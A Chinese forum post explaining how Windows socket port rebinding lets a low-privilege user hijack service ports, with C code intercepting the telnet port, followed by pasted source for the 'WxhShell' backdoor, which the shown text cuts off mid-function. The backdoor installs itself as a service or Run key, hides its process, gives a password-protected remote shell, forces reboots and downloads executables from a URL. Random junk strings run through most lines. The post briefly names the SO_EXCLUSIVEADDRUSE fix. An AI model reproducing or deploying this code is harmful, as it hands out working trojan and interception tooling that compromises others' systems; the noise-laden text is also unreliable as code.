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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xH,e$t#@@~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6e5A8e8"]  
_ogN   
  saddr.sin_family = AF_INET; }&s |~  
*g:Dg I 2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <1x u&Z7  
E6 T=lwOZ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); opzlh@R 3  
]ERAt^$0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 YbZ?["S&  
B7[#z{8'#  
  这意味着什么?意味着可以进行如下的攻击: GH3RRzp r  
XI`s M~'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 el<[Ng[  
Zk|PQfi+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @q@I(%_`  
XGYsTquSe  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }#=t%uZ/  
@cx#'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I-kK^_0mV<  
>*+n`"6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ar_Yl|a  
>,)U4 6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 q8R,#\T*  
{D,- Whi  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }h3[QUVf%  
ds{)p<LpT  
  #include GFnwj<V+{  
  #include lD# yXLaC\  
  #include ye}86{l  
  #include    v!n|X7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !SLfAFcS  
  int main() G \$x.  
  { DD>n-8M@>  
  WORD wVersionRequested; Gsm.a  
  DWORD ret; _tQM<~Y]u\  
  WSADATA wsaData;  2q9$5   
  BOOL val; tTt}=hQpgX  
  SOCKADDR_IN saddr; j~9![s!  
  SOCKADDR_IN scaddr; iUqD>OV  
  int err; ,,S 2>X*L  
  SOCKET s; "b)EH/ s  
  SOCKET sc; Y%(8'Ch  
  int caddsize; I-Hg6WtB  
  HANDLE mt; LW!4KA]  
  DWORD tid;   5OAb6k'  
  wVersionRequested = MAKEWORD( 2, 2 ); l @E {K|  
  err = WSAStartup( wVersionRequested, &wsaData ); dtV7YPz4+  
  if ( err != 0 ) { 8@FgvWC  
  printf("error!WSAStartup failed!\n"); OU?.}qc<wE  
  return -1; UzV78^:,iD  
  } ;j<#VS-]  
  saddr.sin_family = AF_INET; <e@4;Z(h04  
   I%z,s{9p  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $KoGh_h   
nH+wU;M  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [BEQ ~A_I  
  saddr.sin_port = htons(23); dI%Nwl%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %T}*DC$&S  
  { +7y#c20  
  printf("error!socket failed!\n"); fzN?X=  
  return -1; fK^;?4  
  } 1T4#+kW&  
  val = TRUE; )]zsAw`/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #aE>-81SS&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "_+8z_  
  { +h1X-K:I  
  printf("error!setsockopt failed!\n"); p@d_Ru  
  return -1; >5 2%^ ?  
  } Fc^!="H  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6R#igLm  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 JI&.d:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !~xlze   
`2M*?.vk  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $OzVo&P;  
  { T#&X7!4  
  ret=GetLastError(); o"p['m*g  
  printf("error!bind failed!\n"); ;O<-4$  
  return -1; 9LSV^[QUH  
  } Z~;rp`P  
  listen(s,2); l4& l)4Rx  
  while(1) >H,E3Z  
  { )E^Pn|H  
  caddsize = sizeof(scaddr); CSBDSz  
  //接受连接请求 l,UOP[j  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +$#h6V  
  if(sc!=INVALID_SOCKET) l.BiE<&  
  { 5? f!hB|6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5eM{>qr}  
  if(mt==NULL) x+[ATZ([  
  { ~1nKL0C6u  
  printf("Thread Creat Failed!\n"); RW<4",  
  break; @yF >=5z:  
  } V \/Qik{h  
  } TQQh:y  
  CloseHandle(mt); #6C<P!]V  
  } Qve5qJ  
  closesocket(s); ~G.MaSm  
  WSACleanup(); (g1Op~EM  
  return 0; UQbk%K2  
  }   G\~?.s|^  
  DWORD WINAPI ClientThread(LPVOID lpParam) E,Xl8rC  
  { 6d3YLb4M$i  
  SOCKET ss = (SOCKET)lpParam; =o'g5Be<F  
  SOCKET sc; ``>z8t[ks  
  unsigned char buf[4096]; ZWKvz3Wt  
  SOCKADDR_IN saddr; 3jHE,5m  
  long num; =>@ X+4Kb  
  DWORD val; {4)d  
  DWORD ret; $"?$r  
  //如果是隐藏端口应用的话,可以在此处加一些判断 gJ>#HEkMB  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   pdjRakN  
  saddr.sin_family = AF_INET; o[q|dhrANh  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _v++NyZXx  
  saddr.sin_port = htons(23); aq#F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3#eAXIW[  
  { ?A-f_0<0  
  printf("error!socket failed!\n"); L^K,YlNBR  
  return -1; ,R=$ qi|  
  } ant2];0p  
  val = 100; BnaI30-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) CZ =]0zB  
  { \C{Zqo,  
  ret = GetLastError(); qq@]xdl  
  return -1; Fl}!3k>c  
  } ;j+*}|!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qx*N-,M%k(  
  { G3h"Eo?>g  
  ret = GetLastError(); XV,ce~ro[  
  return -1; e*d lGK3l  
  } LLbI}:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }vg|05L  
  { Mhc5<~?  
  printf("error!socket connect failed!\n"); Qh* }v!3Jo  
  closesocket(sc); K??jV&Xor  
  closesocket(ss); d@zxgn7o  
  return -1; 5JhpBx/>o=  
  } w{N8Y ~O  
  while(1) w4zp%`?D'  
  { 5r d t  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ngk:q5Tp  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 w7\vrS>&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /UaQ 2h\  
  num = recv(ss,buf,4096,0); +?{LLD*2e  
  if(num>0) )Lk2tvr  
  send(sc,buf,num,0); Cv p#=x0  
  else if(num==0) 6j|~oMYP  
  break; Oi{J} 2U  
  num = recv(sc,buf,4096,0);  UF@.  
  if(num>0) JIc9csr:b  
  send(ss,buf,num,0); p:ZQ*Ue  
  else if(num==0) 7nM<P4\  
  break; m |.0$+=  
  } L:Faq1MG  
  closesocket(ss); {}=5uU2Tu  
  closesocket(sc); =PnNett}a  
  return 0 ; ~bis!(}p-  
  } T~4HeEG>uH  
auM1k]  
mM_gOd  
========================================================== {xP-p"?p  
"u{ymJ]t  
下边附上一个代码,,WXhSHELL u{dkUG1ia  
6.a>7-K}%  
========================================================== mXsSOAD<  
&?']EcU5h9  
#include "stdafx.h" R/6 v#9m7  
0t*PQ%  
#include <stdio.h> "g(q)u >  
#include <string.h> n"R$b:  
#include <windows.h> 715J1~aRNr  
#include <winsock2.h> 0|4R8Dh*-  
#include <winsvc.h> r8A'8g4cM  
#include <urlmon.h> ]]5(:>l  
xx?0Ftuq  
#pragma comment (lib, "Ws2_32.lib") tao9icl*`  
#pragma comment (lib, "urlmon.lib") K5(T7S  
SO~pe$c-  
#define MAX_USER   100 // 最大客户端连接数 3@<m/%  
#define BUF_SOCK   200 // sock buffer 3[~LmA  
#define KEY_BUFF   255 // 输入 buffer [y<s]C6E  
Q0xQx z  
#define REBOOT     0   // 重启 'n?"f|G  
#define SHUTDOWN   1   // 关机 48!F!v,j)x  
jank<Q&w  
#define DEF_PORT   5000 // 监听端口 `"$9L[>  
l8lJ &  
#define REG_LEN     16   // 注册表键长度 TdoH(( nY  
#define SVC_LEN     80   // NT服务名长度 u R!'v  
f1d<xGx  
// 从dll定义API eE{ 2{C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mrVN&.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gX* &RsF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g~OG~g@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <F| S<\Y.  
@*$"6!3s5  
// wxhshell配置信息 2%]#rZ  
struct WSCFG { (k%r_O6  
  int ws_port;         // 监听端口 :vC+}.{p  
  char ws_passstr[REG_LEN]; // 口令 X,K`]hb*0_  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?W&ajH_T  
  char ws_regname[REG_LEN]; // 注册表键名 c>C!vAg  
  char ws_svcname[REG_LEN]; // 服务名 rE\&FVx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >DW%i\k1V~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s1T}hp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v\XO?UEJ2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?Y9VviC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]oC7{OoX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #;'*W$Wk2  
n$"B F\eM  
}; zG&yu0;D6  
L_>LxF43  
// default Wxhshell configuration  <XnxAA  
struct WSCFG wscfg={DEF_PORT, JOki4N  
    "xuhuanlingzhe", C,{ Ekbg  
    1, dp:5iuS  
    "Wxhshell", j*_#{niy:  
    "Wxhshell", X|60W  
            "WxhShell Service", D\sh +}"  
    "Wrsky Windows CmdShell Service", yIS&ZtBA  
    "Please Input Your Password: ", x2g=%K=  
  1, ~hU^5R-%  
  "http://www.wrsky.com/wxhshell.exe", m=]}Tn  
  "Wxhshell.exe" I4zm{ 1g  
    }; c5{3  
[g: KFbEY  
// 消息定义模块 ]tEH`Kl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JRw)~Tg @  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "o<&3c4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0O?!fd n  
char *msg_ws_ext="\n\rExit."; vn96o] n  
char *msg_ws_end="\n\rQuit."; et6@);F  
char *msg_ws_boot="\n\rReboot..."; 4eS(dPI0  
char *msg_ws_poff="\n\rShutdown..."; 8#a2 kR<b  
char *msg_ws_down="\n\rSave to "; 5VlF\-  
iIg99c7/&9  
char *msg_ws_err="\n\rErr!"; |JCn=v@  
char *msg_ws_ok="\n\rOK!"; 5U/C 0{6  
,j\UZ  
char ExeFile[MAX_PATH]; Bj\oo+L/  
int nUser = 0; %XZdz =B  
HANDLE handles[MAX_USER]; 7p,!<X}%  
int OsIsNt; z)p p{  
|_wbxdq  
SERVICE_STATUS       serviceStatus; {>>Gc2UT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i>@"&  
ro@`S:  
// 函数声明  /w(t=Y  
int Install(void); n0=[N'Tw3  
int Uninstall(void); #pp6 ycy  
int DownloadFile(char *sURL, SOCKET wsh); b/'RJQSAc  
int Boot(int flag); 8'Bik  
void HideProc(void); J(x42Q}*S  
int GetOsVer(void); ?rv5Z^D'  
int Wxhshell(SOCKET wsl); OYNPZRu  
void TalkWithClient(void *cs); Twr<MXa  
int CmdShell(SOCKET sock); P 4jg]g  
int StartFromService(void); :jljM(\  
int StartWxhshell(LPSTR lpCmdLine); -$_h]x* W  
iY4FOt7\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G+f@m,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (]p,Z <f  
t0gLz J  
// 数据结构和表定义 _l!TcH+e  
SERVICE_TABLE_ENTRY DispatchTable[] = !3#*hL1fy  
{ <YBA 7i  
{wscfg.ws_svcname, NTServiceMain}, F;_L/8Ov1  
{NULL, NULL} 1t7S:IZ  
}; ` SO"F,  
mkOj&Q  
// 自我安装 tV,Y38e  
int Install(void) O U3KB  
{ dD0:K3@  
  char svExeFile[MAX_PATH]; fo30f =^Gi  
  HKEY key; ^3  '7  
  strcpy(svExeFile,ExeFile); N_"mC^Vx  
cA{zyq26  
// 如果是win9x系统,修改注册表设为自启动 5n'C6q "  
if(!OsIsNt) { %rZJ#p[e)=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6P KH%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fi^Q]9.@{  
  RegCloseKey(key); !mLY W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (lY< \l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J 4EG  
  RegCloseKey(key); J_^Ml)@iy  
  return 0; i-4pdK u  
    } >O:j.(*!  
  } l|P(S(ikh  
} 'rw nAr  
else { P9aGDma  
k6vY/)-S  
// 如果是NT以上系统,安装为系统服务 FF"`F8-w>Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kK[m=rTx1$  
if (schSCManager!=0) 7#BpGQJQ  
{ ]"< ` ^  
  SC_HANDLE schService = CreateService F(i@Gm=J]  
  ( E|jbbCZy2  
  schSCManager, KC-q]  
  wscfg.ws_svcname, hC[MYAaF  
  wscfg.ws_svcdisp, Q!<b"8V]  
  SERVICE_ALL_ACCESS, "3"9sIZ(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Jn_;  cN  
  SERVICE_AUTO_START, od\Q<Jm}  
  SERVICE_ERROR_NORMAL, BEkxH.   
  svExeFile, mG!Rh  
  NULL, \?_eQKiZ3  
  NULL, 4epE!`z_&  
  NULL, ?>V4pgGCE  
  NULL, B|-E3v:f 4  
  NULL 1} {bHj  
  ); n)(E 0h  
  if (schService!=0) 8pfQAzl  
  { 2V0gj /&  
  CloseServiceHandle(schService); (dxkDS-G  
  CloseServiceHandle(schSCManager); ?th`5K30  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $4\,a^  
  strcat(svExeFile,wscfg.ws_svcname); Jp<Y2-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { at@B>Rb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  2L~[dn.s  
  RegCloseKey(key); &n.7~C]R  
  return 0; 1)8;9 Ba:  
    } E.$1CGd+  
  } R!i9N'gGG(  
  CloseServiceHandle(schSCManager); = X?jId{  
} C< GS._V&  
} OQ>r;)/  
>W= 0N (  
return 1; o:<g Jzg  
} @3/.W+  
L=u>}?!,Fj  
// 自我卸载 1k2+eI  
int Uninstall(void) URbu=U  
{ 3[: |)i)  
  HKEY key; Hf ]aA_:   
lS.*/u*5  
if(!OsIsNt) { ,4hQ#x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S.bB.<  
  RegDeleteValue(key,wscfg.ws_regname); $F!)S  
  RegCloseKey(key); _u$X.5Q;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }VlX!/42  
  RegDeleteValue(key,wscfg.ws_regname); d7+YCi?  
  RegCloseKey(key); Z[Gs/D  
  return 0; t =ErJ  
  } s7?Q[vN  
} s)dN.'5/  
} sGjYL>*  
else { W8:?y*6  
a)'^'jm)4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $~xY6"_}!!  
if (schSCManager!=0) (^-i[aJY  
{ {R b|";  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HY[eo/nM1d  
  if (schService!=0) U  JO  
  { "|&xUWJ!)  
  if(DeleteService(schService)!=0) { Yhu 6QyRV  
  CloseServiceHandle(schService); 6|*em4  
  CloseServiceHandle(schSCManager); sV{M#UF2  
  return 0; ni$7)YcF  
  } (orO=gST-/  
  CloseServiceHandle(schService); XKqUbi  
  } _U<sz{6  
  CloseServiceHandle(schSCManager); 0KknsP7  
} ^DZ(T+q,  
} "NqB_?DT  
}{<@wE%s  
return 1; S7SD$+fX  
} sG{hUsPa  
f(Jz*el S  
// 从指定url下载文件 _\M:h+^  
int DownloadFile(char *sURL, SOCKET wsh) F6 ?4E"d  
{ Z3Le?cMt^  
  HRESULT hr; mup<%@7m  
char seps[]= "/"; NbyVBl0=  
char *token; RM2<%$  
char *file; {L 7O{:J  
char myURL[MAX_PATH];  p]z *  
char myFILE[MAX_PATH]; Aa^%_5  
C^vB&3ghi  
strcpy(myURL,sURL); 9L+dN%C  
  token=strtok(myURL,seps); F)x^AJi e  
  while(token!=NULL) 5[\mwUA  
  { *,Bo $:(n  
    file=token; w>M8 FG(4]  
  token=strtok(NULL,seps); P~Cx#`#(V  
  } d\Q~L 3x  
*^cJn*QeL  
GetCurrentDirectory(MAX_PATH,myFILE); EN^C'n  
strcat(myFILE, "\\"); cTW3\S=  
strcat(myFILE, file); f>d aK9$(  
  send(wsh,myFILE,strlen(myFILE),0); gp Aqz Y  
send(wsh,"...",3,0); NijvFT$V1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \%fl`+`  
  if(hr==S_OK) =<nx [J  
return 0; |fYr*8rH  
else 8I o--Ew3  
return 1; dD _(MbTt  
fhCMbq4T  
} NbPv>/r  
o5(`7XV6D  
// 系统电源模块 /ekeU+j  
int Boot(int flag) x^_(gve:  
{ saMv.;s 1^  
  HANDLE hToken; {<XPE:1>Y  
  TOKEN_PRIVILEGES tkp; s?h=%; T[  
<[9{Lg*D  
  if(OsIsNt) { rp*f)rJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "o+E9'Dm  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F2QX ^*  
    tkp.PrivilegeCount = 1; i}C9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l#!p?l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >^vyp!  
if(flag==REBOOT) { 4{!7T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -*;-T9  
  return 0; [se J'Io  
} /:-8 ,`  
else { *`]LbS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gJYB)LjH"  
  return 0; ^{L/) Xy5  
} j*uc$hC"  
  } o[C,fh,$  
  else { 3f;W+^NY  
if(flag==REBOOT) { q'r(#,B<3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y#%*aV}|B  
  return 0; ILsw'  
} {9(#X]'  
else { ySyA!Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  j6zZ! k  
  return 0; <PCa37  
} i9KQpWG:  
} //9M~qHa"  
FjUf|  
return 1; Qrr8i:Y^  
} Tk(ciwB  
"P4#Q_  
// win9x进程隐藏模块 fTn  
void HideProc(void) eBw6k09C+  
{ r*e<`Is  
lFHj]%Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I)@b#V=  
  if ( hKernel != NULL ) LEnm6  
  { .nXOv]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )?@X{AN&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]xO`c  
    FreeLibrary(hKernel); P)VysYb?  
  } JA .J~3  
mGf@J6wGz  
return; fU@{!;|Pz  
} 'q+CL&D  
-ti nL(?3  
// 获取操作系统版本 $JH_  
int GetOsVer(void) Knd2s~S  
{ 9?4EM^ -  
  OSVERSIONINFO winfo; xMck A<E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %<4ZU!2L  
  GetVersionEx(&winfo); |$Y0VC4a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4dfR}C  
  return 1; F(?A7  
  else }Xn5M&>?  
  return 0; V/ a!&_ ""  
} s\7]"3:wD  
2m$\]\kCUv  
// 客户端句柄模块 EfTuHg$pe  
int Wxhshell(SOCKET wsl) "oZ$/ap\  
{ A^ :/*  
  SOCKET wsh; HY (|31  
  struct sockaddr_in client; )FF3|dZ";K  
  DWORD myID; ^U[c:Rz  
o;d><  
  while(nUser<MAX_USER) @Yv+L)  
{ d&z^u.SY  
  int nSize=sizeof(client); 6xFvu7L_c;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Vh%=JL sK  
  if(wsh==INVALID_SOCKET) return 1; Sdk:-Zuv  
@wzzI 7}C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dnZA+Pa  
if(handles[nUser]==0) x *p>l !  
  closesocket(wsh); jB"?iC.  
else w=ZSyT-i  
  nUser++; `V(z z  
  } n"p|tEK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =TTk5(m  
m2j&v$  
  return 0; h3}gg@Fm  
} , [V#o-Z  
G-5 4D_ 4  
// 关闭 socket YlF<S49loC  
void CloseIt(SOCKET wsh) }ZP;kM$g  
{ C(RZ09,.S  
closesocket(wsh); F4Jc7k2  
nUser--; &}YJ"o[I  
ExitThread(0); e@Cv')]B  
} 9:JFG{M  
\]@XY_21  
// 客户端请求句柄 'dkKBLsx  
void TalkWithClient(void *cs) r)9&'m.:  
{ WcG!6.U>  
^oL43#Nlo  
  SOCKET wsh=(SOCKET)cs; G`a,(<kT;  
  char pwd[SVC_LEN]; X^2Txm d  
  char cmd[KEY_BUFF]; R a> k#pQ  
char chr[1]; H(MCY3t  
int i,j; ~v /NG  
hkK+BmMj\  
  while (nUser < MAX_USER) { o@p(8=x  
MS_@ Xe  
if(wscfg.ws_passstr) { 2jMV6S9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ? iX1;c9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y([""z3<w  
  //ZeroMemory(pwd,KEY_BUFF); Lq-Di|6q  
      i=0;  AU3Ou5  
  while(i<SVC_LEN) { YY&3M  
\Mi] !b|8  
  // 设置超时 h{$mL#J  
  fd_set FdRead; u-31$z<<5}  
  struct timeval TimeOut; Ps0 g  
  FD_ZERO(&FdRead); rh8.kW-K_  
  FD_SET(wsh,&FdRead); y .+d3  
  TimeOut.tv_sec=8; VcLB0T7m\  
  TimeOut.tv_usec=0; v7V.,^6+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?gq',F FDq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r_5k$u(  
wR x5` @  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mt0ZD}E  
  pwd=chr[0]; 4f}:)M$5  
  if(chr[0]==0xd || chr[0]==0xa) { ZL0':7  
  pwd=0; .7BB*!CP  
  break; bZ/4O*B  
  } m((A  
  i++; #4?(A[]>H  
    } :3FJe  
^kS44pr\Q  
  // 如果是非法用户,关闭 socket .^?^QH3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JOR ? xCc  
} g_2m["6*  
w&M)ws;$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EmaVd+Sw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]h Dy]  
Kn#3^>D  
while(1) { p6VHa$[  
4z~%gt74O]  
  ZeroMemory(cmd,KEY_BUFF); p|W <xFk  
""j(wUp-W  
      // 自动支持客户端 telnet标准   LPg1G+e  
  j=0; rCwjy&SuU^  
  while(j<KEY_BUFF) { OT & mNE4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 12NV  
  cmd[j]=chr[0]; if S) < t  
  if(chr[0]==0xa || chr[0]==0xd) { Jb~nu  
  cmd[j]=0; %cWy0:F5VY  
  break; `=]I -5#.W  
  } &"90pBGK  
  j++; ]Z@+ |&@L  
    } B{D!5{t  
oEqt7l[I{  
  // 下载文件 %cDTy]ILu  
  if(strstr(cmd,"http://")) { ;'\{T#5)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %H-(-v^T*  
  if(DownloadFile(cmd,wsh)) iNTw;ov  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ++s=$D  
  else (HHVup1f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8Nr,Wq  
  } WSdTP$?  
  else { ]-6=+\]   
+OUYQMmM  
    switch(cmd[0]) { ,{@,dw`lUz  
  </K"\EU  
  // 帮助 |JpLMUG  
  case '?': { QfI)+pf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G3j&8[  
    break; N Fc@Kz<H  
  } GC{)3)_ t  
  // 安装 =h~\nTN  
  case 'i': { 0G(T'Z1  
    if(Install()) cuJ%;q=;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UMg*Yv%  
    else !l7eB@O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]-o0HY2  
    break; I2@pkVv3z  
    } 0]dL;~0y.  
  // 卸载 ^&o38=70*  
  case 'r': { p,y(Fc~]g'  
    if(Uninstall()) QR!8n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &yKUf  
    else 8:j8>K*6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3pSkk  
    break; q4XS E,  
    } C<!%VHs  
  // 显示 wxhshell 所在路径 kfF.Ctr1a  
  case 'p': { H];QDix?  
    char svExeFile[MAX_PATH]; +LwE=unS  
    strcpy(svExeFile,"\n\r"); O -a`A.  
      strcat(svExeFile,ExeFile); 4\%0a,\^  
        send(wsh,svExeFile,strlen(svExeFile),0); +L4_]  
    break; } k[gR I]  
    } l$%mZl  
  // 重启 pN+lC[C  
  case 'b': { ?#F}mOVAa  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3|/<Pk  
    if(Boot(REBOOT)) 8$fiq}a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YuWsE4$  
    else { Z3K~C_0Cnu  
    closesocket(wsh); pKrol]cth8  
    ExitThread(0); \JBJ$lBL  
    } /J8'mCuC.  
    break; ~F`t[p  
    } I!y[7^R  
  // 关机 XgUvgJ  
  case 'd': { y0Pr[XZ  
